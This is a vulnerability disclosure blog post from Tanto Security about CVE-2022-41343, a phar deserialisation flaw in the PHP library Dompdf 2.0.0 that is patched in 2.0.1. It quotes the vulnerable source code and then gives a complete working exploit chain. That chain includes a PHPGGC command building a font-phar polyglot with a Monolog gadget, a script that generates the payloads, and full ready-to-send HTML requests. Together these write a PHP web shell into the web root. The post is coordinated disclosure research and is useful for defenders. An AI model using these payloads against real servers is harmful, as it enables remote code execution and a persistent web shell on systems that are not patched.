Dompdf is a popular library in PHP used for rendering PDF files from HTML. Tanto Security disclosed a vulnerability in Dompdf affecting version 2.0.0 and below. The vulnerability was patched in Dompdf v2.0.1. We recommend all Dompdf users update to the latest version as soon as possible. Exploitation of the vulnerability results in remote code execution subject to the following conditions. The application is deployed on PHP <= 7.x and a well-known RCE deserialization gadget exists in any of the applications library’s.

Introduction

In this blogpost we will cover the details of CVE-2022-41343. We start by analysing the source code of Dompdf v2.0.0. We will then look at patches released for previous vulnerabilities. Finally we will provide payloads that can be used to exploit CVE-2022-41343.

On 30/09/2022 the Tanto Security team did a presentation at a local cybersecurity meetup known as Ruxmon in Melbourne - Australia. This presentation covered the vulnerability details and basic PHP concepts needed to exploit it. If you are interested in that presentation the slides can be found downloaded here.

How this research started?

We started by analysing previous vulnerabilities in Dompdf and reading the source code for v2.0.0. Some of the patches for the previous vulnerabilities did not properly address some issues. In particular the patch for CVE-2022-28368 (RCE via Remote CSS Font Cache Installation) still allowed for file uploads. Additionaly, the patch for CVE-2021-3838 (Deserialization of Untrusted Data) had a small, but lethal, code mistake. By combining these two issues we could achieve remote code execution.

But before we dive into the details of our findings, we first need to discuss these previous vulnerabilities since we use some concepts and the same entrypoints of some of them.

Past Vulnerabilities on DomPDF

  • CVE-2022-28368 - RCE via Remote CSS Font Cache Installation (by Positive Security) patched on v1.2.1
  • CVE-2021-3902 - Improper Restriction of XML External Entity Reference (by Haxatron via Huntr.dev) patched on v2.0.0
  • CVE-2021-3838 - Deserialization of Untrusted Data (by Haxatron via Huntr.dev) patched on v2.0.0
  • CVE-2022-2400 - External Control of File Name or Path (by Haxatron via Huntr.dev) patched on v2.0.0
  • CVE-2022-0085 - Server-Side Request Forgery (by Haxatron via Huntr.dev) patched on v2.0.0

CVE-2022-28368 - RCE via Remote CSS Font Cache Installation

  • Positive Security identified that when $isRemoteEnabled=true, Dompdf can access remote font files and cache those files on disk using the same extension as the remote file.
  • The cached fonts are stored in the directory /vendor/dompdf/dompdf/lib/fonts/ with the format: [font_name]_[font_weight]_[md5(src:url)].[extension]
  • If the fonts cache directory is exposed to the internet, attackers can achieve remote code execution. This can be done by creating a valid font with the extension .php and a comment or copyright field containing malicious PHP code (e.g. <?php system($_GET[0]); ?>).
  • Positive Security released a great blogpost about this vulnerability that can be accessed here.

The patch for CVE-2022-28368

Patch for CVE-2022-28368

Figure 1. The patch for CVE-2022-28368. Click here to access the patch diff

Conclusions from the patch:

  • It now forces the cached font to have the extension .ttf. This removes the possibility to achieve RCE using .php as the extension when the /vendor/ directory is exposed… But…
  • It doesn’t address the fact that arbitrary contents can still be present in the font file. So, in theory a polyglot font file would still be a valid font, bypassing the font validation and writing a potentialy malicious file to disk…
  • It doesn’t address the fact that remote files are still being saved to disk with a predictable filename in the format [font_name]_[font_weight]_[md5(src:url)].ttf.
  • In conclusion, it patches the vulnerability but the arbitrary file upload with predictable filenames still exists!

CVE-2021-3838 - Deserialization of Untrusted Data

  • Haxatron reported that Dompdf accepts the phar:// wrapper in any HTML element that uses the src attribute. After Hexatron’s report the issue was patched with the release of v2.0.0. Interestingly, (jurysosnovsky) had already reported this to Dompdf mantainers back in 2019!
  • In Haxatron’s report he explicitly states that a vulnerable application using Dompdf would need to have an upload functionality for this attack to work. It’s true, but we already know that the patch for CVE-2022-28368 doesn’t address the upload issue and we can abuse this behaviour to upload a polyglot font file to the fonts cache directory.

Dompdf v2.0.0 and the creation of the $allowedProtocols list

One of the biggest changes in v2.0.0 was the creation of the $allowedProtocols list and its validation rules. Now, only the protocols file://, http:// and https:// are allowed by default in any HTML element that uses the src attribute. The source code for these changes can be observed in the src/Options.php file. For the convenience of the reader we have added the most important bits below:

[...]

    public function __construct(array $attributes = null)
    {
      [...]
        $this->setAllowedProtocols(["file://", "http://", "https://"]);
      [...]
    }

    public function getAllowedProtocols()
    {
        return $this->allowedProtocols;
    }

    /**
     * @param array $allowedProtocols The protocols to allow, as an array
     * formatted as ["protocol://" => ["rules" => [callable]], ...]
     * or ["protocol://", ...]
     *
     * @return $this
     */
    public function setAllowedProtocols(array $allowedProtocols)
    {
        $protocols = [];
        foreach ($allowedProtocols as $protocol => $config) {
            if (is_string($protocol)) {
                $protocols[$protocol] = [];
                if (is_array($config)) {
                    $protocols[$protocol] = $config;
                }
            } elseif (is_string($config)) {
                $protocols[$config] = [];
            }
        }
        $this->allowedProtocols = [];
        foreach ($protocols as $protocol => $config) {
            $this->addAllowedProtocol($protocol, ...($config["rules"] ?? []));
        }
        return $this;
    }

    /**
     * Adds a new protocol to the allowed protocols collection
     *
     * @param string $protocol The scheme to add (e.g. "http://")
     * @param callable $rule A callable that validates the protocol
     * @return $this
     */
    public function addAllowedProtocol(string $protocol, callable ...$rules)
    {
        $protocol = strtolower($protocol);
        if (empty($rules)) {
            $rules = [];
            switch ($protocol) {
                case "file://":
                    $rules[] = [$this, "validateLocalUri"];
                    break;
                case "http://":
                case "https://":
                    $rules[] = [$this, "validateRemoteUri"];
                    break;
                case "phar://":
                    $rules[] = [$this, "validatePharUri"];
                    break;
            }
        }
        $this->allowedProtocols[$protocol] = ["rules" => $rules];
        return $this;
    }

    public function validateLocalUri(string $uri)
    {
        if ($uri === null || strlen($uri) === 0) {
            return [false, "The URI must not be empty."];
        }

        $realfile = realpath(str_replace("file://", "", $uri));

        $dirs = $this->chroot;
        $dirs[] = $this->rootDir;
        $chrootValid = false;
        foreach ($dirs as $chrootPath) {
            $chrootPath = realpath($chrootPath);
            if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
                $chrootValid = true;
                break;
            }
        }
        if ($chrootValid !== true) {
            return [false, "Permission denied. The file could not be found under the paths specified by Options::chroot."];
        }

        if (!$realfile) {
            return [false, "File not found."];
        }

        return [true, null];
    }

    public function validatePharUri(string $uri)
    {
        if ($uri === null || strlen($uri) === 0) {
            return [false, "The URI must not be empty."];
        }

        $file = substr(substr($uri, 0, strpos($uri, ".phar") + 5), 7);
        return $this->validateLocalUri($file);
    }

    public function validateRemoteUri(string $uri)
    {
        if ($uri === null || strlen($uri) === 0) {
            return [false, "The URI must not be empty."];
        }

        if (!$this->isRemoteEnabled) {
            return [false, "Remote file requested, but remote file download is disabled."];
        }

        return [true, null];
    }

[...]

The Dompdf mantainers modified the code base to validate URLs using the $allowedProtocols list with checks similar to the one below. The full source code for this snippet can be found at src/Css/Stylesheet.php:

    function load_css_file($file, $origin = self::ORIG_AUTHOR)
    {

	[...]

        if (strpos($file, "data:") === 0) {
            $parsed = Helpers::parse_data_uri($file);
            $css = $parsed["data"];
        } else {
            $options = $this->_dompdf->getOptions();

            $parsed_url = Helpers::explode_url($file);
            $protocol = $parsed_url["protocol"];

            if ($file !== $this->getDefaultStylesheet()) {
                $allowed_protocols = $options->getAllowedProtocols();
                if (!array_key_exists($protocol, $allowed_protocols)) {
                    Helpers::record_warnings(E_USER_WARNING, "Permission denied on $file. The communication protocol is not supported.", __FILE__, __LINE__);
                    return;
                }
                foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
                    [$result, $message] = $rule($file);
                    if (!$result) {
                        Helpers::record_warnings(E_USER_WARNING, "Error loading $file: $message", __FILE__, __LINE__);
                        return;
                    }
                }
            }

            [$css, $http_response_header] = Helpers::getFileContent($file, $this->_dompdf->getHttpContext());

            $good_mime_type = true;

	[...]

	}

As can be observed, the application first parses the URL to get the protocol. Then before invoking Helpers::getFileContent(), to download the file, it validates if the protocol is in the $allowedProtocols list. If either check fails, the application logs a warning message and will return without processing the file.

Cool! it seems to be a good patch and solves the problem by disabling phar:// by default. But... Will it be the same case in all modified code? One thing that I have learnt from all these years in the industry is “trust but verify!”… So after reading all the code changes, I found something… let’s say… a little bit peculiar… 😏

The 0-day CVE-2022-41343

Lets have a look at the culprit! The below code is from the registerFont() function from src/FontMetrics.php. This is the same function abused by Positive Security in CVE-2022-28368 and previously patched in v1.2.1.

public function registerFont($style, $remoteFile, $context = null)
{
    [...]
        $entry[$styleString] = $localFile;

        // Download the remote file
        [$protocol] = Helpers::explode_url($remoteFile);
        $allowed_protocols = $this->options->getAllowedProtocols();
        if (!array_key_exists($protocol, $allowed_protocols)) {
            Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The communication protocol is not supported.", __FILE__, __LINE__);
        }

        foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
            [$result, $message] = $rule($remoteFile);
            if ($result !== true) {
                Helpers::record_warnings(E_USER_WARNING, "Error loading $remoteFile: $message", __FILE__, __LINE__);
            }
        }

        list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
        if ($remoteFileContent === null) {
            return false;
        }
    [...]
}

Cool, the validation is there… But I think something is missing no? 🤔

Here, the return statements are missing after the validations! Meaning that we can use any protocol (including phar://) and still guarantee that using this entrypoint our URL will hit Helpers::getFileContents().

Now, lets have a look into Helpers::getFileContent() located at src/Helpers.php:

[...]

    public static function getFileContent($uri, $context = null, $offset = 0, $maxlen = null)
    {
        $content = null;
        $headers = null;
        [$protocol] = Helpers::explode_url($uri);
        $is_local_path = in_array(strtolower($protocol), ["", "file://", "phar://"], true);
        $can_use_curl = in_array(strtolower($protocol), ["http://", "https://"], true);

        set_error_handler([self::class, 'record_warnings']);

        try {
            if ($is_local_path || ini_get('allow_url_fopen') || !$can_use_curl) {
                if ($is_local_path === false) {
                    $uri = Helpers::encodeURI($uri);
                }
                if (isset($maxlen)) {
                    $result = file_get_contents($uri, false, $context, $offset, $maxlen);
                } else {
                    $result = file_get_contents($uri, false, $context, $offset);
                }
                if ($result !== false) {
                    $content = $result;
                }
                if (isset($http_response_header)) {
                    $headers = $http_response_header;
                }

            } elseif ($can_use_curl && function_exists('curl_exec')) {
 				[...]
            }
        } finally {
            restore_error_handler();
        }

        return [$content, $headers];
    }

[...]

As we can see, the $is_local_path will be true if $protocol is empty (meaning its a file path) or if its equal to file:// or phar://. Additionaly, the variable $can_use_curl will be true if $protocol is equal to http:// or https://. Following the code, if we use phar:// or data:// as the protocol scheme in our URL, it will always enter in the first if statement and reach file_get_contents(). This means that we can use the data:// protocol to write a polyglot truetype-phar file to disk and then send another request using phar:// to trigger the deserialisation. This behaviour eliminates the need of $isRemoteEnable=true to exploit this vulnerability, meaning that we can achieve RCE even if the target application doesn’t have internet connectivity.

All right, enough talk lets see how we can achieve RCE in a vulnerable application. 😄

How to exploit this vulnerability?

To demonstrate the critical impact of this vulnerability we created a simple PHP application using Dompdf v2.0.0 and Monolog v1.27.0. For the purposes of this POC this version of Monolog was chosen because it has a well-known deserialisation gadget that can result in Remote Code Execution. This gadget is present in the PHPGGC project that we will also use to build our TrueType-Phar polyglot file.

To exploit this vulnerability we need to send two requests. The first request will be used to write a polyglot truetype-phar file via the data:// protocol scheme. The payload will look like the following:

<style>
	@font-face {
		font-family:'exploit';
		src:url('data:text/plain;base64,double_url_encode([BASE64_POLYGLOT_TRUETYPE-PHAR])');
		font-weight:'normal';
		font-style:'normal';
	}
</style>

Note the double_url_encode in the base64 payload means that we should double URL encode it before sending it to the application. This way, Dompdf and PHP will properly handle the payload and successfully decode it when parsing the data:// URL.

The second request will be used to trigger the deserialisation via the phar:// protocol pointing to our TrueType-Phar polyglot file. The payload will look like the following:

<style>
	@font-face {
		font-family:'exploit';
		src:url('phar://path/to/app/vendor/dompdf/dompdf/lib/fonts/exploit_normal_[md5(data:text/plain;base64,[BASE64_POLYGLOT_TRUETYPE-PHAR])].ttf##');
		font-weight:'normal';
		font-style:'normal';
	}
</style>

To generate a basic TrueType font we created a python script using fontforge (pip3 install fontforge). You can download this script here. The script is outlined as follows:

#!/usr/bin/env python3
import fontforge
import os
import sys
import tempfile
from typing import Optional

def main():
    sys.stdout.buffer.write(do_generate_font())

def do_generate_font() -> bytes:
    fd, fn = tempfile.mkstemp(suffix=".ttf")
    os.close(fd)
    font = fontforge.font()
    font.copyright = "DUMMY FONT"
    font.generate(fn)
    with open(fn, "rb") as f:
        res = f.read()
    os.unlink(fn)
    result = res
    return result

if __name__ == "__main__":
    main()

To generate the generic TrueType font named font.ttf file we simply need to execute:

% python3 generate_font.py > font.ttf
Warning: Font contained no glyphs

To generate a valid TrueType-phar polyglot with the Monolog payload that will work in our version we used the PHPGGC project. To generate this file we simply need to execute:

% php -d phar.readonly=0 phpggc Monolog/RCE1 system "echo '<?php system(\$_GET[0]); ?>' > /var/www/html/shell.php" -p phar -pp font.ttf -o font-polyglot.phar

As can be observed, on sucessfull deserialisation, our target application will write a file named shell.php into the public web directory of the application with the contents <?php system($_GET[0]); ?> (a minimal PHP web shell).

In the next step we need to build the two requests to exploit our target application. Since this involves some string manipulation and calculation of the md5 hash of the data:// URI, we created a simple python script that will generate these payloads for us. You can download this script here. This script is outlined below:

#!/usr/bin/env python3
import argparse
import hashlib
import base64
import urllib.parse
import os

PAYLOAD_TEMPLATE_URL_ENCODED = '''
<style>@font-face+{+font-family:'exploit';+src:url('%s');+font-weight:'normal';+font-style:'normal';}</style>
'''
PAYLOAD_TEMPLATE = '''
<style>
    @font-face {
        font-family:'exploit';
        src:url('%s');
        font-weight:'normal';
        font-style:'normal';
    }
</style>
'''

def get_args():
    parser = argparse.ArgumentParser( prog="generate_payload.py",
                      formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                      epilog= '''
                       This script will generate payloads for CVE-2022-41343
                      ''')
    parser.add_argument("file", help="Polyglot File")
    parser.add_argument("-p", "--path", default="/var/www/", help="Base path to vendor directory (Default = /var/www/)")
    args = parser.parse_args()
    return args

def main():
    args = get_args()
    file = args.file.strip()
    path = args.path.strip()
    if(os.path.exists(file)):
        generate_payloads(file, path)
    else:
        print("ERROR: File doesn't exist.")

def generate_payloads(file, path):
    with open(file, "rb") as f:
        fc = f.read()
    b64 = base64.b64encode(fc)
    data_uri_pure = "data:text/plain;base64,%s" % b64.decode()
    md5 = hashlib.md5(data_uri_pure.encode()).hexdigest()
    data_uri_double_encoded = "data:text/plain;base64,%s" % urllib.parse.quote_plus(urllib.parse.quote_plus(b64.decode()))
    phar_uri = "phar://%s/vendor/dompdf/dompdf/lib/fonts/exploit_normal_%s.ttf##" % (path,md5)
    req1_enc = PAYLOAD_TEMPLATE_URL_ENCODED % data_uri_double_encoded
    req2_enc = PAYLOAD_TEMPLATE_URL_ENCODED % urllib.parse.quote_plus(phar_uri)
    req1_pure = PAYLOAD_TEMPLATE % data_uri_double_encoded
    req2_pure = PAYLOAD_TEMPLATE % phar_uri
    print("====== REQUEST 1 ENCODED =======")
    print(req1_enc)
    print("====== REQUEST 2 ENCODED =======")
    print(req2_enc)
    print("====== REQUEST 1 NOT ENCODED =======")
    print(req1_pure)
    print("====== REQUEST 2 NOT ENCODED =======")
    print(req2_pure)

if __name__ == "__main__":
    main()

Then to generate the payloads we will use in our attack, simply execute the script as follows:

% python3 generate_payload.py -p "/var/www" font-polyglot.phar
====== REQUEST 1 ENCODED =======

<style>@font-face+{+font-family:'exploit';+src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTZ0FmjUAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZB8iACkAAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lrSMjRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAjUfUUV8PPPUACwPoAAAAAN9cXlUAAAAA31xeVQAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMwAwAC0AOQAtADIAMAAyADIAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAzMC05LTIwMjIAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADeTN2KAAAAAN9cXlUAAAAA31xeVTw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KxAEAAAEAAAARAAAAAQAAAAAAjgEAAE86MzI6Ik1vbm9sb2dcSGFuZGxlclxTeXNsb2dVZHBIYW5kbGVyIjoxOntzOjk6IgAqAHNvY2tldCI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO3I6MjtzOjEzOiIAKgBidWZmZXJTaXplIjtpOi0xO3M6OToiACoAYnVmZmVyIjthOjE6e2k6MDthOjI6e2k6MDtzOjU5OiJlY2hvICc8P3BocCBzeXN0ZW0oJF9HRVRbMF0pOyA%252FPicgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocCI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjY6InN5c3RlbSI7fX19CAAAAHRlc3QudHh0BAAAAF%252BuNmMEAAAADH5%252F2KQBAAAAAAAAdGVzdE%252Bd0ZXzol05givfp97wFjj48EQWAgAAAEdCTUI%253D');+font-weight:'normal';+font-style:'normal';}</style>

====== REQUEST 2 ENCODED =======

<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_2dfb85807707aec5d2a086aa19474b05.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>

====== REQUEST 1 NOT ENCODED =======

<style>
    @font-face {
        font-family:'exploit';
        src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTZ0FmjUAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZB8iACkAAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lrSMjRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAjUfUUV8PPPUACwPoAAAAAN9cXlUAAAAA31xeVQAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMwAwAC0AOQAtADIAMAAyADIAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAzMC05LTIwMjIAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADeTN2KAAAAAN9cXlUAAAAA31xeVTw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KxAEAAAEAAAARAAAAAQAAAAAAjgEAAE86MzI6Ik1vbm9sb2dcSGFuZGxlclxTeXNsb2dVZHBIYW5kbGVyIjoxOntzOjk6IgAqAHNvY2tldCI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO3I6MjtzOjEzOiIAKgBidWZmZXJTaXplIjtpOi0xO3M6OToiACoAYnVmZmVyIjthOjE6e2k6MDthOjI6e2k6MDtzOjU5OiJlY2hvICc8P3BocCBzeXN0ZW0oJF9HRVRbMF0pOyA%252FPicgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocCI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjY6InN5c3RlbSI7fX19CAAAAHRlc3QudHh0BAAAAF%252BuNmMEAAAADH5%252F2KQBAAAAAAAAdGVzdE%252Bd0ZXzol05givfp97wFjj48EQWAgAAAEdCTUI%253D');
        font-weight:'normal';
        font-style:'normal';
    }
</style>

====== REQUEST 2 NOT ENCODED =======

<style>
    @font-face {
        font-family:'exploit';
        src:url('phar:///var/www/vendor/dompdf/dompdf/lib/fonts/exploit_normal_2dfb85807707aec5d2a086aa19474b05.ttf##');
        font-weight:'normal';
        font-style:'normal';
    }
</style>

Finally, we just need to send both requests to the application to get our shell.php written to the public web directory /var/ww/html. The following screenshots illustrate the attack:

No web shell present

Figure 2. Demonstrating that the webshell is not present in the application

Sending the first request

Figure 3. Sending the First Request to write the polyglot file to disk using data://

Sending the second request

Figure 4. Sending the Second Request to trigger deserialisation via phar://

Web Shell

Figure 5. Accessing the webshell

Timeline

  • 2022-08-17 - Vulnerability reported to security@dompdf.org (from SECURITY.md).
  • 2022-08-18 - Mantainer confirmed that the report was received and thanked us for the submission.
  • 2022-08-19 - Mantainer confirmed the vulnerability and said they are working on a fix.
  • 2022-08-25 - Mantainer informed he has created an issue and pushed a fix to github.
  • 2022-09-22 - Version 2.0.1 released, fixing this vulnerability.
  • 2022-09-26 - CVE-2022-41343 issued to catalog this vulnerability.
  • 2022-09-30 - Disclosure of the vulnerability at Ruxmon.
  • 2022-10-06 - Public disclosure.

Conclusion

While investigating past vulnerabilities in Dompdf, and the patches applied as attempts to address these vulnerabilities, we identified other opportunities to abuse Dompdf and achieve code execution. During this process, v2.0.0 was released and Tanto Security identified a small code mistake that ultimately lead to code execution via Phar Deserialisation in this version as well.

This vulnerability was patched in Dompdf v2.0.1 and we recommend to all Dompdf users to update their installations to the latest version as soon as possible.

Thanks

We would like to thank Brian Sweeney, the official mantainer of Dompdf for the quick response and for the fix of the vulnerability.

About the Author

Marcio Almeida is one of the Co-Founders and the Director of Technical Services at Tanto Security. He has worked in cyber security for over 15 years and has experience with Penetration Testing, Code Review, Exploit Development, Secure Development, DevSecOps and Red Team Operations. You can connect with him on LinkedIn, Twitter or get in touch via marcio@tantosec.com.